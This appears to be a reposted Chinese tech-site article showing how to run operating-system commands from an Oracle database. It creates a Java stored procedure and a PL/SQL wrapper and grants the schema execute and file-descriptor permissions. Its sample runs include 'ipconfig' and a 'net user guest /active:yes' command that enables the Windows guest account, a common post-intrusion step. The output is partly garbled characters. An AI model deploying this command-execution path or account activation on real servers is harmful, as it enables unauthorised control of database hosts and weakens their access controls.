作者:faerbersitko | 来源:互联网 | 2014-07-11 17:33
oracle执行系统命令测试成功环境:windowsXP+oracle10g、window2008R2+11g代码如下:www.2cto.comSql代码createorreplaceandcompileJavaSourcenamed"OSCommand"as--java:...
oracle执行系统命令
测试成功环境:windows XP+oracle 10g、window 2008 R2 + 11g
代码如下:
www.2cto.com
Sql代码
create or replace and compile
Java Source named "OSCommand" as
-- java: OS COMMAND
import java.io.*;
import java.lang.*;
public class OSCommand{
public static String Run(String Command){
Runtime rt = Runtime.getRuntime();
int rc = -1;
try{
Process p = rt.exec( Command );
int bufSize = 32000;
int len = 0;
byte buffer[] = new byte[bufSize];
String s = null;
BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize );
len = bis.read( buffer, 0, bufSize );
rc = p.waitFor();
if ( len != -1 ){
s = new String( buffer, 0, len );
return( s );
}
return( rc+"" );
} www.2cto.com
catch (Exception e){
e.printStackTrace();
return( "-1\ncommand[" + Command + "]\n" + e.getMessage() );
}
}
}
/
show errors
create or replace function OSexec( cCommand IN string ) return varchar2 is
-- function: OS EXEC
-- descr: PL/SQL wrapper for the Java OSCOMMAND stored proc
--
language JAVA
name 'OSCommand.Run(java.lang.String) return java.lang.String';
/ www.2cto.com
show errors
-- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC
-- and OSCOMMAND stored procs.
declare
SCHEMA varchar2(30) := 'SCOTT';
begin
dbms_java.grant_permission(
SCHEMA,
'SYS:java.io.FilePermission',
'execute'
);
dbms_java.grant_permission(
SCHEMA,
'SYS:java.lang.RuntimePermission',
'writeFileDescriptor',
'*'
);
dbms_java.grant_permission(
SCHEMA,
'SYS:java.lang.RuntimePermission',
'readFileDescriptor',
'*'
);
commit;
end;
/ www.2cto.com
-- 查看本地连接信息
SQL> select OSexec('ipconfig') as STDOUT from dual;
STDOUT
--------------------------------------------------------------------------------
Windows IP ????
??????????? ????l?? 3:
www.2cto.com
l??????? DNS ??? . . . . . . . :
????t?? IPv6 ???. . . . . . . . : *************
IPv4 ??? . . . . . . . . . . . . : 192.168.100.100
???????? . . . . . . . . . . . . : 255.255.255.0
??????. . . . . . . . . . . . . : 0.0.0.0
--激活guest账号
SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;
STDOUT
--------------------------------------------------------------------------------
0